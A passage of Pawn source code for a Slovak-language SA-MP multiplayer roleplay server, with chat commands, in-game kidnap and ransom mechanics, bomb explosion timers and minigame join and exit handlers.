        format(string,256,"[ TAXI ]{ffff00} Hráč %s (%d) potrebuje taxi ! [ Pozicia: %s ]",Name,playerid,GameZone);
        SendClientMessageToAll(COLOR_RED,string);
    }
    return 1;
}

dcmd_army(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], GameZone[MAX_ZONE_NAME], Name[24];
        GetPlayer2DZone(playerid,GameZone,MAX_ZONE_NAME);
        GetPlayerName(playerid,Name,24);
        format(string,256,"[ ARMY ]{ffff00} Hráč %s (%d) potrebuje armádu ! [ Pozicia: %s ]",Name,playerid,GameZone);
        SendClientMessageToAll(COLOR_RED,string);
    }
    return 1;
}

dcmd_lol(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], Name[24];
        GetPlayerName(playerid,Name,24);
        format(string,256,"Hráč %s sa od smiechu zjebal zo stoličky ! xD", Name);
        SendClientMessageToAll(COLOR_YELLOWGREEN,string);
    }
    return 1;
}

dcmd_omg(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new string[256], Name[24];
        GetPlayerName(playerid,Name,24);
        format(string,256,"Hráč %s sa chytá za hlavu: Čo za kokota to tu hra ?!", Name);
        SendClientMessageToAll(COLOR_YELLOWGREEN,string);
    }
    return 1;
}

dcmd_highscore(playerid, params[])
{
    #pragma unused params
    new Top1_Text2[256];

    new hsway[64]="SL/Server/HighScore.cfg";

    format(Top1_Text2,256, "Best Killer: %s (%d Kills)\nBest Richman: %s (%d$)\nBest Zombie: %s (%d Deaths)\nDrag Master: %s (%f sec)\nSL Maniak: %s (%d:%d hod)", dini_Get(hsway,"KillerN"), dini_Int(hsway,"Kills"), dini_Get(hsway,"RichmanN"), dini_Int(hsway,"BankMoney"), dini_Get(hsway,"ZombieN"), dini_Int(hsway,"Deaths"), dini_Get(hsway,"Name"), dini_Float(hsway,"DragTime"), dini_Get(hsway,"ManiakN"), dini_Int(hsway,"Hours"), dini_Int(hsway,"Minutes"));

    if(IsPlayerConnected(playerid)) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"High Score",Top1_Text2,"Cancel","");
    return 1;
}

dcmd_inzerat(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        if(GetPlayerACMoney(playerid)<500) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Na zaplatenie inzerátu potřebuješ 500$ !");
        else if(!strlen(params)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /inzerat [ TEXT ]");
        else if(strlen(params)>70) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Maximálně 70 znaků !");
        else
        {
            new Name[24];
            GetPlayerName(playerid,Name,24);
            new string[128], string2[128];
            format(string,128,">>>{00C000} %s {ffffff}<<<",params);
            format(string2,128,"                              {00C000}Autor: {ffffff}%s   {00C000}||  ID: {ffffff}%d",Name,playerid);
            SendClientMessageToAll(COLOR_WHITE,"==================== {00C000}Street Life Inzerat{ffffff} ====================");
            SendClientMessageToAll(COLOR_WHITE,string);
            SendClientMessageToAll(COLOR_WHITE,string2);
            SendClientMessageToAll(COLOR_WHITE,"=======================================================");
            GivePlayerACMoney(playerid,-500);
        }
    }
    return 1;
}

dcmd_notebook(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][Notebook]==false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemáš Notebook !");
        else if(Player[playerid][Team]==100) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nemôžeš používať Notebook keď si vo vezení !");
        else
        {
            ShowPlayerDialog(playerid,Dialog_Notebook_menu,DIALOG_STYLE_LIST,"Notebook","Games\nInternet Banking\nOnline TV","OK","Cancel");
            Player[playerid][UseNotebook]=true;
        }
    }
    return 1;
}

dcmd_news(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][Team]!=18) return SendClientMessage(playerid,COLOR_WARNING,"Nie si Reportér !");
        else if(!strlen(params) || strlen(params)<10) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ] {FFFFFF}Použi: /news [ TEXT ]");
        else
        {
            new Name[24], MSG[150];
            GetPlayerName(playerid,Name,24);
            format(MSG,150,"[ SANEWS ] Reportér: %s [ID:%d]: %s",Name,playerid,params);
            SendClientMessageToAll(0x00FFFFFF,MSG);
        }
    }
    return 1;
}

dcmd_sanews(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][Team]!=18) return SendClientMessage(playerid,COLOR_WARNING,"Nie si Reportér !");
        else ShowPlayerDialog(playerid,Dialog_SANEWS_menu,DIALOG_STYLE_LIST,"SANEWS - menu","Nastaviť pozíciu kamery\nNastaviť pozíciu ktorou bude kamera natačať\nStart vysielania\nStop vysielania","OK","Cancel");
    }
    return 1;
}

dcmd_mobil(playerid, params[])
{
    #pragma unused params
    if(IsPlayerConnected(playerid))
    {
        new Text1[64],
            way[32],
            Name[24]
        ;
        GetPlayerName(playerid,Name,24);

        format(way,32,"SL/%s.cfg", Name);
        format(Text1,64,"{ffff00}Mobil - {ffff70}%d", dini_Int(way, "MobilNumber"));

        ShowPlayerDialog(playerid,Dialog_Mobil_menu,DIALOG_STYLE_LIST, Text1, "Nová zpráva\nPrijaté zprávy\nAdresár\nVyzváňaci tón", "OK", "Exit");

        /////////////////////////////////////////////////////

        if(Mobil[playerid][PlayingRingtone] == true)
        {
            PlayerPlaySound(playerid, NO_SOUND, 0,0,0);
            Mobil[playerid][PlayingRingtone]=false;
            KillTimer(Mobil[playerid][RingtoneTimer]);
        }

        /////////////////////////////////////////////////////

        new mobil_way_D00W[64];
        format(mobil_way_D00W,64, "SL/Server/MobilNumbers/%d.cfg", Mobil[playerid][MobilNumber]);

        new messages=0;

        for(new m=0; m<11; m++)
        {
            new MSG_read[16];
            format(MSG_read,16, "MSG%d_read", m);
            if(dini_Int(mobil_way_D00W, MSG_read) == 1) messages++;
        }

        if(messages > 0)
        {
            new mobil_msg_String[128];

                 if(messages >= 5) format(mobil_msg_String,128,"~w~Mas ~y~%d~w~ novych zprav !", messages);
            else if(messages >  1) format(mobil_msg_String,128,"~w~Mas ~y~%d~w~ nove zpravy !", messages);
            else if(messages == 1) format(mobil_msg_String,128,"~w~Mas ~y~1~w~ novu zpravu !");

            FormatPlayerInfoBox(playerid, "~g~Mobil", mobil_msg_String, 3500);
        }
    }
    return 1;
}

dcmd_kidnap(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);

        new Float:x, Float:y, Float:z;
        GetPlayerPos(playerid,x,y,z);

             if(Player[playerid][Team] != 1 && Player[playerid][Team] != 2 && Player[playerid][Team] != 3 && Player[playerid][Team] != 4 && Player[playerid][Team] != 6 && Player[playerid][Team] != 7 && Player[playerid][Team] != 20 && Player[playerid][Team] != 26 && Player[playerid][Team] != 28) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nejsi clen zadne mafie ani gangu !");
        else if(!strlen(params) || strlen(params)>3) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /kidnap [ ID ]");
        else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v aute !");
        else if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si vodič !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(IsPlayerInSphere(id, x,y,z, 5))
        {
            if(GetPlayerVehicleID(id) > 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč nemôže byť vo  vozidle !");
            else
            {
                Player[id][IsPlayerKidnapping] = true;
                PutPlayerInVehicle(id, GetPlayerVehicleID(playerid), 1);

                new Name[24], Name2[24];
                GetPlayerName(playerid, Name, 24);
                GetPlayerName(id, Name2, 24);

                new string[128];
                format(string,128, "Hráč %s uniesol hráča %s !", Name, Name2);
                SendClientMessageToAll(COLOR_GREEN_DARK, string);
            }
        }
        else return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je pri tebe !");
    }
    return 1;
}

dcmd_blackmail(playerid, params[])
{
    if(IsPlayerConnected(playerid))
    {
        new id = strval(params);
        new money = strval(params[chrfind(' ',params)+1]);

             if(Player[playerid][Team] != 1 && Player[playerid][Team] != 2 && Player[playerid][Team] != 3 && Player[playerid][Team] != 4 && Player[playerid][Team] != 6 && Player[playerid][Team] != 7 && Player[playerid][Team] != 20 && Player[playerid][Team] != 26 && Player[playerid][Team] != 28) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nejsi člen žádné mafie !");
        else if(!strlen(params) || !strlen(params[chrfind(' ',params)+1])) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Použi: /blackmail [ ID ] [ VYKUPNE ]");
        else if(GetPlayerVehicleID(playerid) == 0) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si v aute !");
        else if(GetPlayerState(playerid) != PLAYER_STATE_DRIVER) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Nie si vodič !");
        else if(!IsPlayerConnected(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč zo zadaným ID nie je na serveri !");
        else if(IsPlayerNPC(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Toto je NPC !");
        else if(GetPlayerVehicleID(id) != GetPlayerVehicleID(playerid)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč nie je s tebou vo vozidle !");
        else if(Player[id][IsPlayerKidnapping] == false) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Najprv musíš hráča uniesť !");
        else if(money > GetPlayerACMoney(id)) return SendClientMessage(playerid,COLOR_WARNING,"[  !  ]{ffffff} Hráč nemá dostatok peňazi !");
        {
            new Name[24], Name2[24];
            GetPlayerName(playerid, Name, 24);
            GetPlayerName(id, Name2, 24);

            new string[128];
            format(string,128, "Hráč %s (%d) ti ponukol výkupné vo výške %d$\n\nPrímaš tuto ponuku ?", Name, playerid, money);
            ShowPlayerDialog(id,Dialog_Blackmail,DIALOG_STYLE_MSGBOX,"{ff0000}Ponuka na výkupné",string,"Ano","Nie");

            Player[id][SaveBlackmailID] = playerid;
            Player[id][SaveBlackmailCash] = money;

            new string2[160];
            format(string2,160, "ponukol si hráčovi %s (%d) výkupné vo výške %d$, počkaj na jeho odpoveď !", Name2, id, money);

            SendClientMessage(playerid, COLOR_CYAN, string2);
        }
    }
    return 1;
}

forward EndTutorial(playerid);
public EndTutorial(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SpawnPlayer(playerid);
    }
    return 1;
}

forward StartTutorial(playerid);
public StartTutorial(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SavePlayerLastStats(playerid);
        TogglePlayerControllable(playerid, 0);
        SetPlayerVirtualWorld(playerid, 2000000+playerid);
        
        SetPlayerWeather(playerid, 0);
        
        ShowPlayerDialog(playerid, Dialog_Tutorial0, DIALOG_STYLE_MSGBOX, "{ffff00}Tutorial - Úrad", "Na úrade si môžeš kupit Vodičský preukaz alebo Zbrojný preukaz.\nTaktiež keď nie si zamestnaný sa po smrti spawneš tu.", "Next", "");
        PlayerCamera(playerid, 1281.19, -1581.37, 13.6, 1251.79, -1561.09, 23.9);
    }
    return 1;
}

forward PlayerCamera(playerid, Float:cpX, Float:cpY, Float:cpZ, Float:clX, Float:clY, Float:clZ);
public PlayerCamera(playerid, Float:cpX, Float:cpY, Float:cpZ, Float:clX, Float:clY, Float:clZ)
{
    if(IsPlayerConnected(playerid))
    {
        SetPlayerCameraPos(playerid, Float:cpX, Float:cpY, Float:cpZ);
        SetPlayerCameraLookAt(playerid, Float:clX, Float:clY, Float:clZ);
        SetPlayerPos(playerid, Float:cpX, Float:cpY, -50);
    }
    return 1;
}

forward StopPlayer(playerid);
public StopPlayer(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        new Float:x, Float:y, Float:z, Float:a;
    
        if(GetPlayerVehicleID(playerid) == 0)
        {
            SetPlayerSkin(playerid, GetPlayerSkin(playerid));
            GetPlayerPos(playerid,x,y,z);
            GetPlayerFacingAngle(playerid,a);
            SetPlayerPos(playerid,x,y,z);
            SetPlayerFacingAngle(playerid,a);
        }
        else
        {
            GetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
            GetVehicleZAngle(GetPlayerVehicleID(playerid),a);
            SetVehiclePos(GetPlayerVehicleID(playerid),x,y,z);
            SetVehicleZAngle(GetPlayerVehicleID(playerid),a);
        }
    }
    return 1;
}

forward SetRandomWeather();
public SetRandomWeather()
{
    Server[WeatherTimer] = SetTimer("SetRandomWeather", 500000+random(180000), 0);

    switch(random(10))
    {
        case 0:
        {
            ServerWeather = WEATHER_BLUESKY0;
        }
        case 1:
        {
            ServerWeather = WEATHER_BLUESKY1;
        }
        case 2:
        {
            ServerWeather = WEATHER_BLUESKY2;
        }
        case 3:
        {
            ServerWeather = WEATHER_BLUESKY3;
        }
        case 4:
        {
            ServerWeather = WEATHER_BLUESKY4;
        }
        case 5:
        {
            ServerWeather = WEATHER_BLUESKY5;
        }
        case 6:
        {
            ServerWeather = WEATHER_RAIN1;
        }
        case 7:
        {
            ServerWeather = WEATHER_RAIN0;
        }
        case 8:
        {
            ServerWeather = WEATHER_SANDSTORM;
        }
        default:
        {
            ServerWeather = WEATHER_FOGGY0;
        }
    }
    
    SetWeather(ServerWeather);
    return 1;
}

forward StopRingtone(playerid);
public StopRingtone(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Mobil[playerid][PlayingRingtone] == true)
        {
            if(Player[playerid][Logged] == true)
            {
                PlayerPlaySound(playerid, NO_SOUND, 0,0,0);
                KillTimer(Mobil[playerid][RingtoneTimer]);
                Mobil[playerid][PlayingRingtone]=false;
            }
        }
    }
    return 1;
}

forward CreateProperty(propertyid, Float:x, Float:y, Float:z, price, name[]);
public CreateProperty(propertyid, Float:x, Float:y, Float:z, price, name[])
{
    Property[propertyid][Price] = price;
    Property[propertyid][Money] = floatround(floatdiv(price, 50));
    Property[propertyid][Pickup] = CreatePickup(1272,23, x, y, z,0);
    Property[propertyid][Text3D] = Create3DTextLabel(name, COLOR_BLUE, x, y, z, 25, 0);

    format(Property[propertyid][PropertyName],64,"%s", name);
    return 1;
}

forward DestroyINVObjectSvetlica(bombid);
public DestroyINVObjectSvetlica(bombid)
{
    DestroyObject(INV_BombID[bombid]);
    INV_BombStatus[bombid]=false;
    
    Server[CreatedBombs]=0;
    for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
    {
        if(INV_BombStatus[bmb] == true)
        {
            if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
        }
    }
    return 1;
}

forward DestroyINVObjectDynamit(bombid);
public DestroyINVObjectDynamit(bombid)
{
    new Float:f[3];
    GetObjectPos(INV_BombID[bombid],f[0],f[1],f[2]);
    CreateExplosion(f[0],f[1],f[2], 1, 7);
    DestroyObject(INV_BombID[bombid]);
    INV_BombStatus[bombid]=false;
    
    Server[CreatedBombs]=0;
    for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
    {
        if(INV_BombStatus[bmb] == true)
        {
            if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
        }
    }
    return 1;
}

forward DestroyINVObjectRaptor(bombid);
public DestroyINVObjectRaptor(bombid)
{
    new Float:f[3];
    GetObjectPos(INV_BombID[bombid],f[0],f[1],f[2]);
    CreateExplosion(f[0],f[1],f[2], 6, 15);
    CreateExplosion(f[0],f[1],f[2], 6, 20);
    DestroyObject(INV_BombID[bombid]);
    INV_BombStatus[bombid]=false;
    
    Server[CreatedBombs]=0;
    for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
    {
        if(INV_BombStatus[bmb] == true)
        {
            if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
        }
    }
    return 1;
}

forward DestroyINVObjectPredator(bombid);
public DestroyINVObjectPredator(bombid)
{
    new Float:f[3];
    GetObjectPos(INV_BombID[bombid],f[0],f[1],f[2]);
    CreateExplosion(f[0],f[1],f[2], 7, 30);
    CreateExplosion(f[0],f[1],f[2], 7, 25);
    CreateExplosion(f[0],f[1],f[2], 7, 20);
    CreateExplosion(f[0],f[1],f[2], 7, 15);
    DestroyObject(INV_BombID[bombid]);
    INV_BombStatus[bombid]=false;
    
    Server[CreatedBombs]=0;
    for(new bmb=0; bmb<MAX_CREATED_BOMBS; bmb++)
    {
        if(INV_BombStatus[bmb] == true)
        {
            if(bmb >= Server[CreatedBombs]) Server[CreatedBombs] = bmb+1;
        }
    }
    return 1;
}

forward DestroyINVObjectMina1(bombid);
public DestroyINVObjectMina1(bombid)
{
    INV_Bomb_M_S[bombid]=true;
    INV_Bomb_M_TimeLeft[bombid]=30;
    INV_BombStatus[bombid]=true;
    return 1;
}

forward OnPlayerLeaveClan(playerid);
public OnPlayerLeaveClan(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][ClanP] != 9999)
        {
            new cway[64];
            format(cway,64, "SL/Server/Clans/Clan%d.cfg", Player[playerid][ClanP]);

            new playerrank = Player[playerid][ClanRank];

            new oP_Plat[16], oP_Hodnost[16], oP_Name[16], nP_Plat[16], nP_Hodnost[16], nP_Name[16];
            for(new a=playerrank; a<12; a++)
            {
                format(nP_Plat,16, "P%d_Plat", a);
                format(nP_Hodnost,16, "P%d_Hodnost", a);
                format(nP_Name,16, "P%d_Name", a);
                format(oP_Plat,16, "P%d_Plat", (a+1));
                format(oP_Hodnost,16, "P%d_Hodnost", (a+1));
                format(oP_Name,16, "P%d_Name", (a+1));

                dini_IntSet(cway, nP_Plat, dini_Int(cway, oP_Plat));
                dini_Set   (cway, nP_Hodnost, dini_Get(cway, oP_Hodnost));
                dini_Set   (cway, nP_Name, dini_Get(cway, oP_Name));
            }

            Clan[Player[playerid][ClanP]][Players]--;

            dini_IntSet(cway, "Players", Clan[Player[playerid][ClanP]][Players]);
            
            new way[32], Name[24];
            GetPlayerName(playerid, Name, 24);
            format(way, 32, "SL/%s.cfg", Name);
            
            dini_IntSet(way, "ClanRank", 9999);
            dini_IntSet(way, "Clan", 9999);

            for(new q=0; q<12; q++)
            {
                new CyclusPlayerName[64];
                format(CyclusPlayerName,64, "P%d_Name", q);

                new CyclusPlayerWay[64];
                format(CyclusPlayerWay,64, "SL/%s.cfg", dini_Get(cway, CyclusPlayerName));

                if(dini_Exists(CyclusPlayerWay))
                {
                    dini_IntSet(CyclusPlayerWay, "ClanRank", q);
                }
            }
            
            for(new i=0; i<=Server[ConP]; i++)
            {
                if(IsPlayerConnected(i))
                {
                    if(Player[i][ClanP] == Player[playerid][ClanP])
                    {
                        new CPway[32], CPName[24];
                        GetPlayerName(i, CPName, 24);
                        format(CPway, 32, "SL/%s.cfg", CPName);

                        if(playerid != i) Player[i][ClanRank] = dini_Int(CPway, "ClanRank");
                    }
                }
            }

            Player[playerid][ClanP]=9999;
            Player[playerid][ClanRank]=9999;
            Player[playerid][Team]=0;
        }
    }
    return 1;
}

forward OnPlayerExitMirrorsEdge2(playerid);
public OnPlayerExitMirrorsEdge2(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][ME2_Player]=9999;
        Player[playerid][NFSSA_Player]=9999;
        Player[playerid][D_Player]=9999;
        Player[playerid][TA_Player]=9999;
        Game[ME2_Players]--;
        Player[playerid][UseNotebook]=false;
        DisablePlayerCheckpoint(playerid);
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

        Player[playerid][LoadPlayerStats]=true;
        OnPlayerSpawn(playerid);
        LoadPlayerLastStats(playerid);
    }
    return 1;
}

forward OnPlayerExitTerroristsAssault(playerid);
public OnPlayerExitTerroristsAssault(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][ME2_Player]=9999;
        Player[playerid][NFSSA_Player]=9999;
        Player[playerid][D_Player]=9999;
        Player[playerid][TA_Player]=9999;
        Game[TA_Players]--;
        Player[playerid][UseNotebook]=false;
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

        Player[playerid][LoadPlayerStats]=true;
        OnPlayerSpawn(playerid);
        LoadPlayerLastStats(playerid);
    }
    return 1;
}

forward MirrorsEdge2RaceEnd();
public MirrorsEdge2RaceEnd()
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i))
            {
                if(Player[i][ME2_Player]!=9999) OnPlayerExitMirrorsEdge2(i);
            }
        }
    }
    Game[ME2_State]=0;
    Game[ME2_StartTime]=21;
    Game[ME2_Players]=0;
    return 1;
}

forward OnPlayerJoinToMirrorsEdge2(playerid);
public OnPlayerJoinToMirrorsEdge2(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Game[ME2_Players]<Game[ME2_MaxPlayers])
        {
            SavePlayerLastStats(playerid);
            Player[playerid][ME2_Player]=Game[ME2_Players];
            Player[playerid][D_Player]=9999;
            Player[playerid][NFSSA_Player]=9999;
            Game[ME2_Players]++;

            DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
            CreatePlayerObjects(playerid,100,228);

            SpawnPlayer(playerid);
            Player[playerid][UseNotebook]=true;
            if(NotebookGamesTimerBool == false)
            {
                NotebookGamesTimer = SetTimer("NotebookGamesCountDownPublic",1000,1);
                NotebookGamesTimerBool=true;
            }
        }
    }
    return 1;
}

forward OnPlayerExitNFSSA(playerid);
public OnPlayerExitNFSSA(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][ME2_Player]=9999;
        Player[playerid][NFSSA_Player]=9999;
        Player[playerid][D_Player]=9999;
        Player[playerid][TA_Player]=9999;
        Game[NFSSA_Players]--;
        Player[playerid][UseNotebook]=false;
        DisablePlayerRaceCheckpoint(playerid);
        if(IsPlayerInAnyVehicle(playerid)) SetVehicleVirtualWorld(GetPlayerVehicleID(playerid),0);
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

        Player[playerid][LoadPlayerStats]=true;
        OnPlayerSpawn(playerid);
        LoadPlayerLastStats(playerid);
    }
    return 1;
}

forward OnPlayerExitMTBR(playerid);
public OnPlayerExitMTBR(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Game[MTBR_Players]--;
        Player[playerid][UseNotebook]=false;
        DisablePlayerRaceCheckpoint(playerid);
        DestroyVehicleEx(MTBR_Bike[Player[playerid][MTBR_Player]]);
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

        Player[playerid][LoadPlayerStats]=true;
        OnPlayerSpawn(playerid);
        LoadPlayerLastStats(playerid);

        Player[playerid][MTBR_Player]=9999;
    }
    return 1;
}

forward NFSSARaceEnd();
public NFSSARaceEnd()
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i)) if(Player[i][NFSSA_Player]!=9999) OnPlayerExitNFSSA(i);
        }
    }
    Game[NFSSA_State]=0;
    Game[NFSSA_StartTime]=21;
    Game[NFSSA_Players]=0;
    return 1;
}

forward MTBRRaceEnd();
public MTBRRaceEnd()
{
    for(new i=0; i<=Server[ConP]; i++)
    {
        if(IsPlayerConnected(i))
        {
            if(!IsPlayerNPC(i)) if(Player[i][MTBR_Player]!=9999) OnPlayerExitMTBR(i);
        }
    }
    Game[MTBR_State]=0;
    Game[MTBR_StartTime]=21;
    Game[MTBR_Players]=0;
    for(new a=0; a<4; a++)
    {
        DestroyVehicleEx(MTBR_Bike[a]);
    }
    return 1;
}

forward OnPlayerJoinToNFSSA(playerid);
public OnPlayerJoinToNFSSA(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Game[NFSSA_Players]<Game[NFSSA_MaxPlayers])
        {
            SavePlayerLastStats(playerid);
            Player[playerid][NFSSA_Player]=Game[NFSSA_Players];
            Player[playerid][ME2_Player]=9999;
            Player[playerid][D_Player]=9999;
            Game[NFSSA_Players]++;
            SpawnPlayer(playerid);
            Player[playerid][UseNotebook]=true;
            if(NotebookGamesTimerBool == false)
            {
                NotebookGamesTimer = SetTimer("NotebookGamesCountDownPublic",1000,1);
                NotebookGamesTimerBool=true;
            }
            DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
        }
    }
    return 1;
}

forward OnPlayerJoinToMTBR(playerid);
public OnPlayerJoinToMTBR(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Game[MTBR_Players]<Game[MTBR_MaxPlayers])
        {
            SavePlayerLastStats(playerid);
            Player[playerid][MTBR_Player]=Game[MTBR_Players];
            Game[MTBR_Players]++;

            DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
            CreatePlayerObjects(playerid,562,846);

            SpawnPlayer(playerid);
            Player[playerid][UseNotebook]=true;

            if(NotebookGamesTimerBool == false)
            {
                NotebookGamesTimer = SetTimer("NotebookGamesCountDownPublic",1000,1);
                NotebookGamesTimerBool=true;
            }
        }
    }
    return 1;
}

forward OnPlayerJoinToDemolationDerby(playerid);
public OnPlayerJoinToDemolationDerby(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Game[D_Players]<Game[D_MaxPlayers])
        {
            SavePlayerLastStats(playerid);
            Player[playerid][D_Player]=Game[D_Players];
            Player[playerid][ME2_Player]=9999;
            Player[playerid][NFSSA_Player]=9999;
            Game[D_Players]++;
            SpawnPlayer(playerid);
            Player[playerid][UseNotebook]=true;
            if(NotebookGamesTimerBool == false)
            {
                NotebookGamesTimer = SetTimer("NotebookGamesCountDownPublic",1000,1);
                NotebookGamesTimerBool=true;
            }
            DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
        }
    }
    return 1;
}

forward OnPlayerJoinToStuntPark(playerid);
public OnPlayerJoinToStuntPark(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SavePlayerLastStats(playerid);
        Player[playerid][SP_Player]=Game[SP_Players];
        Game[SP_Players]++;
        SpawnPlayer(playerid);
        Player[playerid][UseNotebook]=true;
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
        CreatePlayerObjects(playerid,250,387);
    }
    return 1;
}

forward OnPlayerExitStuntPark(playerid);
public OnPlayerExitStuntPark(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][SP_Player]=9999;
        Game[SP_Players]--;
        Player[playerid][UseNotebook]=false;
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

        Player[playerid][LoadPlayerStats]=true;
        OnPlayerSpawn(playerid);
        LoadPlayerLastStats(playerid);
    }
    return 1;
}

forward OnPlayerExitDemolationDerby(playerid);

public OnPlayerExitDemolationDerby(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        if(Player[playerid][D_Player]!=9999)
        {
            Player[playerid][ME2_Player]=9999;
            Player[playerid][NFSSA_Player]=9999;
            Player[playerid][D_Player]=9999;
            Player[playerid][TA_Player]=9999;
            Player[playerid][UseNotebook]=false;
            Game[D_Players]--;

            if(IsPlayerInAnyVehicle(playerid)) SetVehicleVirtualWorld(GetPlayerVehicleID(playerid),0);

            Player[playerid][LoadPlayerStats]=true;
            OnPlayerSpawn(playerid);
            LoadPlayerLastStats(playerid);

            DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

            if(Game[D_Players]==1)
            {
                for(new i=0; i<=Server[ConP]; i++)
                {
                    if(IsPlayerConnected(i))
                    {
                        if(!IsPlayerNPC(i))
                        {
                            if(Player[i][D_Player]!=9999)
                            {
                                new DName[24];
                                GetPlayerName(i,DName,24);
                                new message[128];
                                format(message,128,"Hráč %s (%d) vyhral Demolation Derby !",DName,i);
                                SendClientMessageToAll(COLOR_WHITE,message);

                                GameTextForPlayer(i,"~w~Vyhral si Demolation Derby !",3000,5);

                                if(IsPlayerInAnyVehicle(i)) SetVehicleVirtualWorld(GetPlayerVehicleID(i),0);
                                Game[D_State]=2;
                                Game[D_StateTimer]=SetTimer("DemolationDerbyEnd",8000,0);
                                Player[i][UseNotebook]=false;

                                Player[i][LoadPlayerStats]=true;
                                OnPlayerSpawn(i);
                                LoadPlayerLastStats(i);
                            }
                        }
                    }
                }
            }
        }
    }
    return 1;
}

forward OnPlayerJoinToDTC(playerid);
public OnPlayerJoinToDTC(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        SavePlayerLastStats(playerid);
        Player[playerid][DTC_Player]=Game[DTC_Players];
        Game[DTC_Players]++;
        SpawnPlayer(playerid);
        Player[playerid][UseNotebook]=true;
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);
        CreatePlayerObjects(playerid,412,561);
    }
    return 1;
}

forward OnPlayerExitDTC(playerid);
public OnPlayerExitDTC(playerid)
{
    if(IsPlayerConnected(playerid))
    {
        Player[playerid][DTC_Player]=9999;
        Game[DTC_Players]--;
        Player[playerid][UseNotebook]=false;
        DestroyPlayerObjects(playerid,100,MAX_PLAYER_CREATED_OBJECTS);

        Player[playerid][LoadPlayerStats]=true;
        OnPlayerSpawn(playerid);
        LoadPlayerLastStats(playerid);
    }
